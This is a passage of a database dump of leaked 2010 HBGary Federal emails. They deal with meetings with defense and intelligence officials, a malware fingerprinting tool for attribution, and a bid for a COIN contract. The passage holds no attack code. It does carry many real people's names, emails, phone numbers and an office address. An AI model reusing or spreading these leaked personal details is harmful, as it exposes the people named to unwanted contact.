Federal719-237-8623\r\n',11029,'aaron_hbgary_com/11029.html'),(8801,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006718.M711765P14101Q3656.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Minions','Some reviews that prompted me to give this a try:http://devin.reams.me/save-time-with-timesvr-virtual-assistants/\r\nhttp://sidsavara.com/personal-productivity/can-virtual-assistants-make-you-more-productive-an-experiment\r\nhttp://sidsavara.com/subnotebook-comparison-timesvr-taskhttp://personalmba.com/delegation-outsourcing-timesvr/\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5064,'aaron_hbgary_com/5064.html'),(8802,'2010-07-19','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','/aaron@hbgary.com/new/1297006719.M106081P14101Q3657.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Tubbs, Gregory [Ctr]\" <tubbsg@atac.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Invitation: Brian Hibbeln','Aaron,\r\n	I regret that the Tuesday event is government only. Very rare in the\r\nway we do business, but true in this case.  Irv and I can give you our take\r\non it.\r\n\r\nThanks,  Brian\r\n\r\nMr. Brian Hibbeln\r\nOSD/Rapid Fielding Office\r\nSpecial Capabilities\r\n\r\nVoice: 703 746-1200\r\nPager: 877 351-2519\r\nGrey / NSTS: 984-8201\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 5:09 PM\r\nTo: Tubbs, Gregory [Ctr]\r\nCc: Hibbeln, Brian, Mr, OSD-ATL\r\nSubject: Re: Invitation: Brian Hibbeln\r\n\r\nGreg/Brian,\r\n\r\nThank you for inviting me to yesterdays discussions.  My enthusiasm\r\nfor the topics I am sure was obvious, hopefully my participation was\r\nproductive for the group.  Where i can add benefit i would enjoy\r\nparticipating in these types of discussions.  Food, beer, and mission!\r\n\r\nI am not sure of the audience next tuesday but if it\'s open I would\r\nlove to attend the cyber discussion.\r\n\r\nHave a good weekend.\r\nAaron\r\n\r\n\r\n\r\nOn Tuesday, July 13, 2010, Tubbs, Gregory [Ctr]  wrote:\r\n> Aaron....I work with Brian Hibbeln.  We are hosting the EUCOM J39...COL\r\nChuck Eassa, Thurs 15 July from 1600-1900.  Food will be provided so that we\r\ncan talk uninterrupted.\r\n>\r\n> Chuck has CYBER, IO, IW and Space in his portfolio.\r\n>\r\n> Chucks overwhelming interest in this venue is CYBER.  EUCOM is considering\r\na EUCOM CYBER conference for the fall.\r\n>\r\n> Many aspects of CYBER will be discussed, entire meeting will be hosted up\r\nto TS/SCI...with appropriate side bars, when appropriate.\r\n>\r\n> We think you will find it of interest.  Informal discussion of what\r\nmatters to EUCOM.\r\n>\r\n> R/Greg\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',4582,'aaron_hbgary_com/4582.html'),(8803,'2010-07-19','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297006719.M377748P14101Q3658.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fingerprint Tool - Big Picture','Hi Aaron, This is a great mail and provides terrific perspective on the tool and its importance/value to security industry, government market&nbsp;and industry at large. I\'d like to capture this information into a blogpost, contributed piece. Also, I\'ve been pitching the news not&nbsp;only to&nbsp;the trade pubs, but also the national security reporters and government pubs.&nbsp;&nbsp;Let me think about it. K&nbsp;&nbsp;--- On Mon, 7/19/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fingerprint Tool - Big PictureTo: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Maria Lucas\" &lt;maria@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, July 19, 2010, 10:09 AM\r\nA few thoughts on how I think we should be leveraging the Fingerprint tool.This is an amazing advancement I think.&nbsp; By itself it has value but integrated within a larger threat intelligence framework it is potentially very powerful and we should be using it to set up discussions with the large government organizations (USCERT, JTF, CYBCOM, NTOC, 1st IO, etc)&nbsp; I can help on some of these.Here is why it is important.&nbsp; Attribution is a big big problem for the nation.&nbsp; We can\'t develop policy and COAs (courses of action) if we don\'t know where the attack came from, this leaves us stone silent when we watch our IP leaving our country in rivers.&nbsp; Since we can cluster malware based on environmental characteristics we can also make associations of those internal characteristics.&nbsp; One piece of malware has this little tidbit, this one has this little tidbit, maybe its a handle, maybe another\r\n developer is added into the mix for one piece of malware and we have him nailed through other analysis, we can now make ties to the rest of the group.&nbsp; Lots of possibilities if the fingerprinting tool is combined with Open source and classified intelligence.Fingerprint + TMC + Social Media Collection/Analysis = True Threat Intelligence (unclassified).&nbsp; Add SIGINT and HUMINT data for True classified threat intelligence.In Cybersecurity there are only 3 really important initiatives; threat intelligence, incident response, and offense.&nbsp; Every thing else is fingers in the dam.&nbsp; And having capabilities in all three is critical because they feed each other.&nbsp; If we have the products, the intelligence repository, as well as the ability to develop offensive capabilities.&nbsp; Thats the sweet spot.&nbsp; The products are getting there.&nbsp; We have the offensive capability and are just working to get into the right\r\n programs.&nbsp; We need the repository.my 3 cents.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3732,'aaron_hbgary_com/3732.html'),(8804,'2010-07-19','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297006719.M658560P14101Q3659.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,aaron@hbgary.com,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','Re: EXTERNAL:','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:\r\n\r\n\r\n\r\n\r\nI should be at meeting also. I know the Div Chief well. He is the Big Boss and we have discussed his. View of media ops.\r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Clair, Chris (TASC)\r\nTo: Pisani, Albert A. (TASC); \'Aaron Barr\' &lt;aaron@hbgary.com&gt;\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC)\r\nSent: Mon Jul 19 13:00:22 2010\r\nSubject: RE: EXTERNAL:\r\n\r\nHi Al,\r\n\r\nWe are currently working on defining the positions for key folks we want on COIN.&nbsp; We expect to get the reqs posted by end of the month.&nbsp;\r\n\r\nBy the way, Aaron and I thought it a good idea for you to visit the customer who has the COIN mission.&nbsp; What are your availabilities for the next week or two?&nbsp; Additionally, who else do you think should attend?\r\n\r\nSince Aaron has communications with the customer, I defer to him to arrange the meeting.&nbsp; He also wants to pre-brief you on some of the mission intricacies.&nbsp;\r\n\r\nWe spoke to Google and Apple last week.&nbsp; They both agreed to be on our team!&nbsp; I love this kind of innovation.\r\n\r\nOur team consists of:\r\n\r\n&nbsp;- TASC (PMO, creative services)\r\n&nbsp;- HB Gary (Strategy, planning, PMO)\r\n&nbsp;- Akamai (infrastructure)\r\n&nbsp;- Archimedes Global (Specialized linguistics, strategy, planning)\r\n&nbsp;- Acclaim Technical Services (specialized linguistics)\r\n&nbsp;- Mission Essential Personnel (linguistic services)\r\n&nbsp;- Cipher (strategy, planning operations)\r\n&nbsp;- PointAbout (rapid mobile application development, list of strategic partners)\r\n&nbsp;- Google (strategy, mobile application and platform development - long list of strategic partners)\r\n&nbsp;- Apple (mobile and desktop platform, application assistance -long list of strategic partners)\r\n\r\nWe are trying to schedule an interview with ATT plus some other small app developers.\r\n\r\n\r\nWe, truly have the team to beat on this!\r\n\r\nLet me know if you need more info.\r\n\r\nThanks,\r\n\r\nChris Clair\r\n\r\n-----Original Message-----\r\nFrom: Pisani, Albert A. (TASC)\r\nSent: Thursday, July 15, 2010 2:52 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: RE: EXTERNAL:\r\n\r\nAaron:\r\n\r\nThis is excellent news.\r\n\r\nAll - What progress has been made in identifying and capturing key folks that are currently in place supporting the customer?\r\n\r\nThanks.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, July 15, 2010 2:25 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.&nbsp; I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.&nbsp; John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.&nbsp; :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.&nbsp; I talked to John about general\r\ncapabilities I think his shop needs and he agreed.&nbsp; This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n',16480,'aaron_hbgary_com/16480.html'),(8805,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006724.M923993P14101Q3660.eml','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,','Re: Invitation: Brian Hibbeln','Brian,\r\n\r\nThank you.  Love to hear what is discussed.\r\n\r\nBTW, we are releasing a fingerprint tool at Blackhat on the 28th, we are open sourcing this tool for all to use.  This tool pulls key environmental variables out of malware which can be correlated as illustrated in the graph below.  An idea for a JCTD next year might be to take this tool, our volume malware processor, open source and intelligence data and build threat models.  I think this combination we can really make some inroads on attribution.  Between HBGary + SecDev + Palantir I think we can make this happen.\r\n\r\nThe graph attached represents 3000 malware samples.  Notice the clustering of different malware samples by similarity in development environments. With this data if we can associate open source or intel data to one in a cluster we can start to make associations to all of them in the cluster.  More research needs to be done but I think this could be big.\r\n\r\nJust some thoughts.\r\n\r\nAaron\r\n\r\n',3622,'aaron_hbgary_com/3622.html'),(8806,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006725.M563504P14101Q3661.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Lunch?  Beer?','Hi Jeff,Do you have some time tomorrow for lunch?AaronOn Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:Aaron, I really enjoyed meeting you last night.&nbsp; It was a very entertaining evening.&nbsp; As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.&nbsp; Would love to sit down and discuss further.&nbsp; I was supposed to be in LA next week but that got pushed back a week so I should be around.&nbsp; Wednesday is probably not a good day but otherwise I can adapt.&nbsp; Take care and I look forward to seeing you.&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3038,'aaron_hbgary_com/3038.html'),(8807,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006725.M811729P14101Q3662.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: EXTERNAL:Lost the ball','OK Gib I will see you at your office tomorrow morning.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 7:41 AM, Godwin, Gib (IS) wrote:\r\n\r\n> How about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close by.\r\n> Gib\r\n> \r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>  \r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 9:23 PM\r\n> To: Godwin, Gib (IS)\r\n> Cc: Shows, Bob (IS)\r\n> Subject: Re: EXTERNAL:Lost the ball\r\n> \r\n> How about 830?  Where would you like to meet?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\"  wrote:\r\n> \r\n>> Tues Morn before 11 works.\r\n>> Gib\r\n>> \r\n>> JB Godwin III\r\n>> Northrop Grumman, Information Systems\r\n>> Defense Systems Division\r\n>> Vice President, Cybersecurity and Systems Integration\r\n>> 2340 Dulles Corner Blvd\r\n>> Herndon, VA 20171\r\n>> \r\n>> (o) 703.561.4610\r\n>> (m)703.201.2543\r\n>> james.godwin@ngc.com\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Shows, Bob (IS) \r\n>> Sent: Friday, July 16, 2010 5:53 PM\r\n>> To: Aaron Barr; Godwin, Gib (IS)\r\n>> Subject: RE: EXTERNAL:Lost the ball\r\n>> \r\n>> Gib, \r\n>> \r\n>> We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.  I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.  \r\n>> \r\n>> Your availability?\r\n>> \r\n>> Robert \'Bob\' Shows \r\n>> USAF Account Team NGIS/DSD\r\n>> Northrop Grumman Corporation \r\n>> 310.210.2549 \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, July 16, 2010 4:31 PM\r\n>> To: Shows, Bob (IS)\r\n>> Subject: EXTERNAL:Lost the ball\r\n>> \r\n>> When are we meeting?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5047,'aaron_hbgary_com/5047.html'),(8808,'2010-07-19','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006726.M293534P14101Q3664.eml','aaron@hbgary.com','Re: EXTERNAL:Lost the ball','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:Lost the ball\r\n\r\n\r\n\r\n\r\nK\r\n\r\nGib Godwin\r\njames.godwin@ngc.com\r\n(m)703.201.2543\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Godwin, Gib (IS)\r\nSent: Mon Jul 19 14:09:02 2010\r\nSubject: Re: EXTERNAL:Lost the ball\r\n\r\nOK Gib I will see you at your office tomorrow morning.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 7:41 AM, Godwin, Gib (IS) wrote:\r\n\r\n&gt; How about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close by.\r\n&gt; Gib\r\n&gt;\r\n&gt; JB Godwin III\r\n&gt; Northrop Grumman, Information Systems\r\n&gt; Defense Systems Division\r\n&gt; Vice President, Cybersecurity and Systems Integration\r\n&gt; 2340 Dulles Corner Blvd\r\n&gt; Herndon, VA 20171\r\n&gt;&nbsp;\r\n&gt; (o) 703.561.4610\r\n&gt; (m)703.201.2543\r\n&gt; james.godwin@ngc.com\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 9:23 PM\r\n&gt; To: Godwin, Gib (IS)\r\n&gt; Cc: Shows, Bob (IS)\r\n&gt; Subject: Re: EXTERNAL:Lost the ball\r\n&gt;\r\n&gt; How about 830?&nbsp; Where would you like to meet?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; Sent from my iPhone\r\n&gt;\r\n&gt; On Jul 16, 2010, at 8:07 PM, &quot;Godwin, Gib (IS)&quot; &lt;James.Godwin@ngc.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; Tues Morn before 11 works.\r\n&gt;&gt; Gib\r\n&gt;&gt;\r\n&gt;&gt; JB Godwin III\r\n&gt;&gt; Northrop Grumman, Information Systems\r\n&gt;&gt; Defense Systems Division\r\n&gt;&gt; Vice President, Cybersecurity and Systems Integration\r\n&gt;&gt; 2340 Dulles Corner Blvd\r\n&gt;&gt; Herndon, VA 20171\r\n&gt;&gt;\r\n&gt;&gt; (o) 703.561.4610\r\n&gt;&gt; (m)703.201.2543\r\n&gt;&gt; james.godwin@ngc.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Shows, Bob (IS)\r\n&gt;&gt; Sent: Friday, July 16, 2010 5:53 PM\r\n&gt;&gt; To: Aaron Barr; Godwin, Gib (IS)\r\n&gt;&gt; Subject: RE: EXTERNAL:Lost the ball\r\n&gt;&gt;\r\n&gt;&gt; Gib,\r\n&gt;&gt;\r\n&gt;&gt; We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.&nbsp; I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.&nbsp;\r\n&gt;&gt;\r\n&gt;&gt; Your availability?\r\n&gt;&gt;\r\n&gt;&gt; Robert \'Bob\' Shows\r\n&gt;&gt; USAF Account Team NGIS/DSD\r\n&gt;&gt; Northrop Grumman Corporation\r\n&gt;&gt; 310.210.2549\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Friday, July 16, 2010 4:31 PM\r\n&gt;&gt; To: Shows, Bob (IS)\r\n&gt;&gt; Subject: EXTERNAL:Lost the ball\r\n&gt;&gt;\r\n&gt;&gt; When are we meeting?\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; Sent from my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',5851,'aaron_hbgary_com/5851.html'),(8809,'2010-07-19','\"Ghent, Ralph\" <rdghent@nsa.gov>','/aaron@hbgary.com/new/1297006726.M46212P14101Q3663.eml','\"Ghent, Ralph\" <rdghent@nsa.gov>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome and Attribution','Aaron:\r\n\r\nDid yu send me an email on 7/16/2010 at 10:27 AM with subject as\r\n\"Attribution\"?\r\n\r\nThere is a suspicious email from you with that subject and an attachment\r\nthat is a jpeg file.\r\n\r\nThx, \r\n\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n-----Original Message-----\r\nFrom: Ghent, Ralph \r\nSent: Friday, February 05, 2010 7:19 AM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: Malware Genome and Attribution\r\n\r\nAaron,\r\nThx for your kind patience.  Sometimes the optempo here is high and good\r\nnew efforts, such as yours, take time to gain traction with the right\r\ncrowd. \r\n\r\nSincerely,\r\nRalph Ghent\r\nrdghent@nsa.gov\r\nPh: 443-654-0129\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 4:38 PM\r\nTo: Gipson, Vergle \r\nCc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\nM; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery J.;\r\nBrenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\nRaistrick, Nicole ; Meros, Stephen J; Willard, Gerald \r\nSubject: Re: Malware Genome and Attribution\r\n\r\nThank you for the response.  Please let me know when is convenient to\r\nget together for a discussion.  Feel free to give me a call at\r\n719.510.8478.  I am not exactly sure which office you are from, but as a\r\nheads up we recently received a request to set up a demo and discussion\r\nwith the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\ncan combine discussions or not.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nOn Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n\r\n> Ralph,\r\n> \r\n> 	Thanks for reminding me about this one.\r\n> \r\n> Dave/Barry/Matt -- follow up on this please.\r\n> \r\n> Vergle\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Tuesday, February 02, 2010 7:02 AM\r\n> To: Ghent, Ralph ; Gipson, Vergle\r\n> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n\r\n> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n> Subject: RE: Malware Genome and Attribution\r\n> \r\n> Vergle,\r\n> Reminder of the thread below, and your awareness of the efforts of\r\nAaron\r\n> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n> not seen any response since this was raised in early December.\r\n> \r\n> Also, pls see recent news article below:\r\n> \r\n> \'Cyber Genome Project\': The military scientists want to establish a \r\n> \"Cyber Genome\" project which will allow any digital artifact - a \r\n> document, apiece of malware - to be probed to its very origins.\r\n> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n> Genome Program\" will \"produce revolutionary cyber defense and \r\n> investigatory technologies\".\r\n> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n> \r\n> VR,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Ghent, Ralph\r\n> Sent: Monday, January 11, 2010 3:05 PM\r\n> To: Gipson, Vergle\r\n> Subject: FW: Malware Genome and Attribution\r\n> \r\n> Vergle:\r\n> I mentioned this fellow to you awhile back and emailed you all in V2 \r\n> as to possible interest in engaging him to learn of his efforts (which\r\n\r\n> seem to me to be very closely aligned to the Carnegie-Mellon Malicious\r\n\r\n> Code Catalog efforts).\r\n> \r\n> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was \r\n> holding back on responding til he saw your comments/guidance.\r\n> \r\n> \r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:adbarr@me.com]\r\n> Sent: Friday, January 08, 2010 10:23 AM\r\n> To: Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Hi Ralph,\r\n> \r\n> Happy New Year.\r\n> \r\n> I am still very interested to talk to folks there about the Malicious \r\n> Code Catalog and our Malware Genome and Digital DNA if there is \r\n> interest on that side.  As I mentioned we have recently partnered with\r\n\r\n> Palantir and are working on a partnership with Netwitness and maybe 1 \r\n> or 2 other small vendors with complimentary technology.  I think \r\n> something really substantial can be put together.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n> \r\n>> Aaron,\r\n>> Did anyone from the NTOC contact you yet?\r\n>> Respectfully,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Friday, December 04, 2009 2:27 PM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Aaron,\r\n>> Many thanks for the additional info and the opportunity to chat \r\n>> briefly at Leesburg.\r\n>> \r\n>> I have pushed your info to those within my Agency who are working \r\n>> with\r\n> \r\n>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time next\r\n\r\n>> week, no one has reached-out to you, pls email me again and I will \r\n>> follow up with them.\r\n>> \r\n>> Sincerely,\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>> To: Ghent, Ralph\r\n>> Subject: Malware Genome and Attribution\r\n>> \r\n>> Ralph,\r\n>> \r\n>> Thank you for stepping in and asking about my discussion about \r\n>> Malware\r\n> \r\n>> detection, genomes, and attribution.  I am very new to my current \r\n>> position as CEO of HBGary Federal, prior to this I was the Technical \r\n>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the \r\n>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago \r\n>> if we can make headway against attribution I would have said no, not \r\n>> until we have better situational awareness, network characterization,\r\n\r\n>> CND/CNE integration, etc.\r\n>> \r\n>> Then I started to learn about HBGarys Malware Genome database, where \r\n>> they have characterized 3500 traits of malware to date, and are \r\n>> starting to make associations of authorship across malware.  I \r\n>> immediately thought of Palantirs capability to link analysis and had\r\n> an aha moment.\r\n>> But I knew that other capabilities needed to be added if we were \r\n>> seriously going to take a crack at attribution.\r\n>> \r\n>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I \r\n>> would love to talk with them and combine efforts if appropriate to \r\n>> develop the capability that is needed to help with this challenge.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 301.652.8885 x117\r\n>> 719.510.8478\r\n> \r\n\r\n\r\n\r\n\r\n\r\n',13836,'aaron_hbgary_com/13836.html'),(8810,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006726.M532907P14101Q3665.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: TimeSvr: Service','---------- Forwarded message ----------From: [TimeSvr] Owais Khan &lt;owais.k@timesvr.com&gt;\r\nDate: Mon, Jul 19, 2010 at 1:09 PMSubject: TimeSvr: ServiceTo: Ted@hbgary.comHi Ted,\r\nAs soon as we receive the subscription confirmation we will send them welcome emails and all the instructions.\r\n\r\nOriginal Task:\r\n\r\nI just gifted two of my friends with on month service of\r\nTimeSvr. How long does it take for them to receive their welcome email\r\nwith instructions for use? Thank you. Ted\r\n\r\nPS -- You guys are doing a great job.  Thanks for the help!\r\n\r\nBest,Owais Khan,TimeSvr,415-315-9651,www.TimeSvr.com\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5104,'aaron_hbgary_com/5104.html'),(8811,'2010-07-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006726.M748827P14101Q3666.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Re: EXTERNAL:','Hi Aaron,\r\n\r\nMy week is open.  What are some dates/times you have free?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 2:19 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: EXTERNAL:Re: EXTERNAL:\r\n\r\nChris,\r\n\r\nProbably a good time to talk about what role I would like to play once\r\nwe win.  I know it is impossible until we really see the RFP to\r\ndetermine any concise workshare but probably a good idea for you and I\r\nto have a high level discussion on the topic so we aren\'t surprising\r\neach other with a perspective that doesn\'t match.  I definitely want to\r\nuse this contract to rebuild an IO development capability as well as\r\nprovide some of the strategy, planning and security services.  Again we\r\ndon\'t know size of contract yet but on the low side I would like 5 FTEs\r\nand on the high side I would like 10 FTEs (depending on size of\r\ncontract) mostly doing mobile and social media development.  Overall I\r\nwould like 25% of the overall contract value.  So lets set up a time to\r\ntalk I would like to hear your thoughts.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 2:00 PM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Al,\r\n> \r\n> We are currently working on defining the positions for key folks we\r\nwant\r\n> on COIN.  We expect to get the reqs posted by end of the month.  \r\n> \r\n> By the way, Aaron and I thought it a good idea for you to visit the\r\n> customer who has the COIN mission.  What are your availabilities for\r\nthe\r\n> next week or two?  Additionally, who else do you think should attend?\r\n> \r\n> Since Aaron has communications with the customer, I defer to him to\r\n> arrange the meeting.  He also wants to pre-brief you on some of the\r\n> mission intricacies.  \r\n> \r\n> We spoke to Google and Apple last week.  They both agreed to be on our\r\n> team!  I love this kind of innovation.\r\n> \r\n> Our team consists of:\r\n> \r\n> - TASC (PMO, creative services)\r\n> - HB Gary (Strategy, planning, PMO) \r\n> - Akamai (infrastructure)\r\n> - Archimedes Global (Specialized linguistics, strategy, planning)\r\n> - Acclaim Technical Services (specialized linguistics)\r\n> - Mission Essential Personnel (linguistic services)\r\n> - Cipher (strategy, planning operations)\r\n> - PointAbout (rapid mobile application development, list of strategic\r\n> partners)\r\n> - Google (strategy, mobile application and platform development - long\r\n> list of strategic partners)\r\n> - 